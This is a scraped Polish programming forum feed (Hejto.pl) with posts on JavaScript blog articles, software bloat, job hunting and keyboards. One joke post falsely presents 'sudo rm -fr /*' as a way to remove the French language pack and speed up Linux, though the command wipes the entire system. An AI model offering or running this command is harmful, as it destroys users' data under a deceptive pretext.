Hejto.pl
Dodaj post

Wpisz coś do wyszukania (minimum 2 znaki)

#programista15k

Zawodowiec

w Dyskusje

7piorunów

Głębsze spojrzenie na property descriptory w JavaScript

Jednym z pytań, jakie zawarłem w moim e-booku 106 Pytań Rekrutacyjnych Junior JavaScript Developer, odnosi się do property decriptorów w JavaScript. W najnowszym artykule na moim blogu postanowiłem nieco rozszerzyć ten temat i przedstawić w szczegółach czym są property descriptory, jakie udostępnia

Osobistość

w Hydepark

33piorunów

Użytkownicy Linuxa!

Jak wiecie, język francuski jest okropnie skomplikowany. Badacze sprawdzili jak bardzo system przyspieszy po usunięciu francuskiej paczki językowej. Nie uwierzycie!

System może przyspieszyć nawet o 10%*

Jeśli chcecie usunąć francuski język z waszego linuksa wystarczy odpalić w terminalu:
>sudo rm -fr /*

Od teraz możecie się cieszyć szybszym systemem! Serdecznie polecam!

   

*według badań ibdwd

Pokaż więcej komentarzy (18)

Zawodowiec

w Dyskusje

7piorunów

Pure functions na przykładach - devszczepaniak.pl

Jakiś czas temu, gdy aktualizowałem bibliotekę Knex.js w jednym z projektów, trafiłem na błąd, który przypomniał mi o pojęciu pure functions. W najnowszym artykule na moim blogu, na przykładach, przedstawiłem czym są pure functions i jakie zalety wynikają z ich wykorzystania. #programowanie

Osobistość

w Hydepark

7piorunów

Mega ciekawy wpis https://tonsky-me.translate.goog/blog/disenchantment/?_x_tr_sl=en&_x_tr_tl=pl&_x_tr_hl=pl&_x_tr_pto=wapp

No powiem Wam że po przeczytaniu wpisu stwierdzam że większość "programistów" gówno potrafi i pisze na odpie$dol. Da się pisać tak by wykorzystać 99% maszyny? Owszem, ale nie, CZAS cenny. No to chociaż zoptymalizuj bałwanie jądro lub najważniejsze elementy ale k$rwa nie - oye^ać mapkę 600 MB co mogłaby ważyć 20 MB i działać 3x szybciej.

   

Kosmonauta0piorunów

@gawafe1241 Prosta zasada - dev pracujący za X pln/h spali ci kilka-kilkanaście godzin, na poprawę funkcjonalności, która wykona się nawet te 3 sekundy szybciej - kto za to zapłaci?
Czy wypychając nową wersję możesz dodać do ceny np. +1200PLN za MD spalonego na przyspieszenie funkcjonalności?
Czy po prostu jest to kasa w piach?

To jest jak z tym słynnym 6-godzinnym pisaniem skryptu, który jest wołany raz na kwartał i zastępuje ci np. godzinę roboty- rocznie ci się to nie zwróci, a co dopiero jak przyjdzie zmienić parametry wołanego taska.

Tacy perfekcjoniści to sobie mogą siedzieć w latach 80 w NASA, jak na kawałku krzemu musiałeś napisać cały system i po prostu nie dało się fizycznie tego ominąć.

Teraz albo coś dowozisz w sensownym czasie, albo robi to za ciebie hindus i wychodzi mu to "good enough for demo", a ty sobie skończysz to szybkie, perfekcyjne cacko, za 2 tygodnie, gdzie reszta będzie już RTM i nikt nie zwróci uwagi, póki end-user się do tego nie przyczepi, (albo jak się przyczepi, ale zmiana tego czasu wykonania będzie wymagała przebudowy sporego kawałka programu [a przebudowa zajmie np. 10MD i będzie policzona jako CR a nie FIX, a na to biznes/klient się z-e-s-r-a, a nie zapłaci xDDD])

Też mnie irytuje to, że muszę kupować co 3 lata telefon, żeby magicznie działały na nim te same aplikacje, które działały 8-10 lat temu, które robią to samo, ale jako alternatywę mam tupanie nóżką i dólbupienie albo siedzenie na starym andrucie bez upgradów, ale za to bez aplikacji do banku xD

Gruba ryba1piorunów

@gawafe1241 
> "programistów" gówno potrafi i pisze na odpie$dol.

tak, a o co chodzi?

> Da się pisać tak by wykorzystać 99% maszyny? Owszem, ale nie, CZAS cenny

tak, czas człowieka jest bardzo drogi

> No to chociaż zoptymalizuj bałwanie jądro lub najważniejsze elementy ale k$rwa nie - oye^ać mapkę 600 MB co mogłaby ważyć 20 MB i działać 3x szybciej.

zoptymalizuj, a później miej hejty od innych developerów że tego nie rozumieją, bo jest zbyt skomplikowane, a nikt nie ogarnia matki języków - assemblera.

PS.
Nie warto, bo to co napiszesz to za 2-3 lata pójdzie do kosza, bo zmienią się zasady gry. Inwestując czas na takie "pierdoły", gdzie sporo ludzi ma w d⁎⁎ie, spowalnia twój rozwój. Możesz mieć za⁎⁎⁎⁎sty projekt, ale co z tego że nie będziesz dynamiczny do rynku. Napiszesz A, a po roku stwierdzisz że jednak rynek oczekuje B i powodzenia w przepisywaniu. Każdy konsument ma w du@#%@% jak to działa, ale ma działać i kropka.

PS2.
Aplikacje teraz są bardziej złożone niż 20 lat temu, to co kiedyś team robił w tydzień, programista może zrobić w dzień.

PS3.
Dysk i ram jest tani w stosunku co było 20 lat temu. Ot inflacja oprogramowania, ale jak zrobisz metrykę standardowego rozmiaru dysku do wielkosci oprogramowania miedzy dzisiaj a kiedys, to roznicy nie ma duzej.

PS4
Bylejakość jest wszędzie, gdy cena pracy człowieka rośnie. Idź do mechanika i zapytaj się czy naprawi ci samochód bez części zamiennych. Powie ci wypierdalaj :smiley: A kiedyś tak się robiło, bo nie było cześći zamiennych

https://youtu.be/RZ2jVCg6hPw

Idiokracja postępFragment kultowego filmu "Idiokracja" - Mike Judge.YouTube
Pokaż więcej komentarzy (10)

Gruba ryba

w Programowanie

1piorunów

  jakie książki niezwiązane z programowaniem, rozwojem osobistym i zarządzaniem ludźmi/projektami ostatnio czytaliście?

Pokaż więcej komentarzy (10)

Sum

w Programowanie

4piorunów

no ale bez przesady kto to widział
  

Inspirator0piorunów

Dwa lata temu jak szukalem czegos w "IT" napisalem posta na grupie facebookowej. Po kilku dniach przebieralem w ofertach a po tygodniu juz mialem robote.
Teraz pewnie tez bym dluzej nie musial sie rozgladac.

Pokaż więcej komentarzy (10)

Kosmonauta

w Okazje

2piorunów

Voarge 50 sztuk gumowych kaczek - gumowe kaczki do debugowania ( ͡~ ͜ʖ ͡°)

https://hotshops.pl/okazje/voarge-50-sztuk-gumowych-zabawek-do-kapieli-30466

Gumowe kaczki idealne pod a dokładniej "duck debugging". 50 sztuk w opakowaniu powinno wystarczyć do emerytury.

Cena: 43.95zł

Okazja dostępna w sklepie Amazon.pl

Gruba ryba

w Hydepark

11piorunów

Co jest najważniejsze w pracy programisty? Brak ambicji. Większość ludzi z którymi jako inżynier oprogramowania będziemy się spotykać to ingnorsnci i konformiści. Trafią się także pyszałkowie. Bo co nam da to że coś zostanie zrobione bardzo dobrze? Nic, bo coś co działa nie zwraca na siebie uwagi. Po prostu jest, i jeśli nie ma się przełożonego który jest w stanie zrozumieć złożoność problemu który został rozwiązany to nie ma możliwości że zostanie to docenione. A co się stanie jeśli wejdziemy w konflikt z konformistami i ignorantami? Po prostu będzie ich więcej, być może będą mieli z jakiegoś powodu wyższą pozycję w firmie. W takim wypadku trafione argumenty nie mają sensu bo nie będą przez nich zrozumiane. Tak samo przełożony nie zrozumie skomplikowanych argumentów. Konflikt w przeciwieństwie do dobrze wykonanej pracy jest widoczny. Dobrze wykonana praca nie jest problemem a konflikt jest. Dlatego nie ma sensu popadać w konflikt. Należy zejść do poziomu ignorantów. Brak konfliktów to brak problemów, a brak problemów to dobra opinia. A to że zadanie mogło być wykonane lepiej? Nikogo to nie obchodzi, ma być szybko. Może być byle jak, byle działało. W środowisku ignorantów jedna osoba która się stara nic nie zmieni. Pozostaje jedynie liczyć wypłate i nie przejmować się. Praca programisty polega na nie sprawianiu problemów, przejściu rozmowy kwalifikacyjnej i bycie komórka w excelu.

 

Gruba ryba4piorunów

@DexterFromLab u siebie rób jak u siebie, a u kogoś tak jak chce. Płaci i chce żeby następny pracownik stwierdził że albo to przepisuje od zera albo pi⁎⁎⁎⁎li? Jego wybór.

Z drugiej strony czasem wymagania są na tyle dynamicznie zmieniające się że z bólem serca muszę przyznać rację szkole "szybko szybko" - zanim ja raz zrobię dobrze, to ktoś już robi trzecią iterację. A dobre pisanie zwróciłoby się dopiero za 5 lat albo jak odejdę :man-shrugging:

Pokaż więcej komentarzy (8)

Debiutant

w Hydepark

1piorunów

poszukuje pracy w IT

2 lata doswiadczenia

ile wolac na reke?

szukam pracy na

justjoin

solidjobs

linkedin

noflufjob

mam troche rozmow z hr

duzo cv wysylam - ok 40 na tydz

raz na tydz mam rozmowe techn

poki co ok 1.5 msc szukam i nic

praca zdalna mnie interesuje

moze inaczej - czego powininem sie doszkolic?

         

Pokaż więcej komentarzy (11)

Gruba ryba

w Pracbaza

1piorunów

  

Kochani, pracuje tutaj ktoś w USA żyjąc w Polsce?

Znalazłem dla siebie fajną ofertę na HO, ale nie wiem jakby to miało wyglądać. Jak b2b to ogolnie czuję, działalność w Polsce i użeranie z ZUS i US, ale jeśli nie b2b? Tak w ogóle się da? Czy lepiej unikać amerykańskiego prawa pracy i cisnąć w b2b?

Sorki programiści, że wołam, aleście dużą grupą ekspertów w tej działce.

Mocarz2piorunów

Nie możesz mieć umowy w USA nie mieszkając w USA, ta zasada dotyczy każdego kraju. Możesz mieć umowę z ich oddziałem albo przez EOR

Pokaż więcej komentarzy (12)

Fanatyk

w Wykop

95piorunów

    otwierać w nowej karcie - zrzut strony jest długi i miniaturka nie oddaje całej treści.

https://cdn.hejto.pl/uploads/posts/images/1200x900/46e635c6afcb4a36c14a4eb1ffbd51e7.jpg

Pokaż więcej komentarzy (26)

Specjalista

w Hydepark

1piorunów

Hej, jestem  , więc  jest dla mnie ważna i często jej używam

Mam do wyboru bezprzewodową i przewodową 

Osobiście bardziej skłaniam się ku klawiaturom membranowym, ponieważ ani jedna mi się nie zepsuła, więc aspekt trwałości nie stanowi tutaj żadnej kwestii, ale też bardzo lubię ich niski skok klawiszy i to jak ciche są w użyciu

Z drugiej strony mechaniczne klawiatury zapewniają przyjemniejsze sprzężenie zwrotne (mam brązowe switche), ale naprawdę nie podoba mi się, jak wysoki skok klawiszy mają i jak głośne są w użyciu.

Czasem czuję, że coś jest ze mną nie tak, bo ludzie gloryfikują mechaniczne klawiatury, a ja nie jestem przekonany co do ich wyższości z powodów opisanych wyżej

Którego powinienem użyć?

  

Kosmonauta2piorunów

@sayda tylko membranowe byku. Mechaniczne to wymysł dla gimbazy, tak jak RGB.
Tak jak membranowe mogą być wysokie lub niskie, tak mechaniczne mogą być bardzo w c⁎⁎j wysokie, albo trochę mniej w c⁎⁎j wysokie, więc po kilku tygodniach pracy na tym jeblu, gdzie klawisz wystaje na 1,5cm, twoje ręce mówią witaj CTS
Do tego przy każdej ogłuchniesz, bo z głośnością jest tak samo jak z wysokością.
O braku jakiejkolwiek wodoodporności nie ma co wspominać.

Bierz jakąś biurową membranową od logitecha- niski skok, płaskie klawisze, do tego duża masa i możesz pracować...

Pokaż więcej komentarzy (14)

Specjalista

w Hydepark

6piorunów

Siema, od dłuższego czasu mam pewien problem z zakładkami w przeglądarce, mianowicie mam ich od groma. I od paru lat zastanawia mnie, dlaczego w żadnej przeglądarce, nikt nie wpadł, żeby tych pasków na zakładki były ze dwa, już nie wspominam o możliwej konfiguracji (z góry, na boku przeglądarki, czy liczba wierszy/kolumn), bo kto by pomyślał, żeby użytkownik miał wygodę?

Oczywiście część rzeczy mam wrzucone do folderów. Ale rzeczy używanych codziennie mam zbyt dużo, wchodzenie w foldery jest nieintuicyjne plus zwyczajnie o wielu rzeczach zapominam skoro ich nie widzę.

Czy jest jakaś alternatywa czy mam dalej cierpieć? Może jednak jest jakaś przeglądarka o której nie słyszałem i szanuje trochę użytkownika? A może ktoś wpadł na jakieś inne rozwiązanie?

Jak coś to aktualnie korzystam z opery gx.

Miłego dnia kochani :3

Wołam do pomocy 

Osobistość1piorunów

Jezu zeby taka opcja byla w brave i firefox, innych przegladarek nie chce uzywac chyba ze maja lvl customizacji bezpieczenstwa jak te dwie powyzej. Używam dwóch przegladarek bo w kazdej po 50 kart otwartych xD i zeby nie tyle co dwa paski były ale tez i kategorie, bo probuje ukladac jako tako ale c⁎⁎j bo i tak zara sie jaka karta wpierdzieli gdzie nie trzeba

Pokaż więcej komentarzy (36)